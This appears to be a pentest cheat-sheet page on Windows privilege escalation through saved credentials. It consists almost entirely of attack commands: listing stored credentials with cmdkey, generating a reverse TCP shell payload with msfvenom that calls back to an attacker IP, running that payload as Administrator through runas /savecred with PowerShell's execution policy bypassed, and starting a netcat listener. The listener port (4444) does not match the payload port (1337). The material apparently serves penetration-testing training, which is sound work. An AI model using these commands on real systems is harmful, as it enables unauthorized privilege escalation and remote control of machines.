> For the complete documentation index, see [llms.txt](https://pentest.mxhx.org/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://pentest.mxhx.org/07-win-privesc/saved-creds-runas.md).

# Saved Creds runas

```
cmdkey /list   ..look for saved passwords
               ..found user: ACCESS\Administrator

prep:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.47 LPORT=1337 -f psh -o reverse.ps1

C:\Windows\System32\runas.exe /user:ACCESS\Administrator /savecred "C:\Windows\System32\cmd.exe /c powershell -ExecutionPolicy Bypass -NoExit -File c:\temp\reverse.ps1"
nc -nvlp 4444
```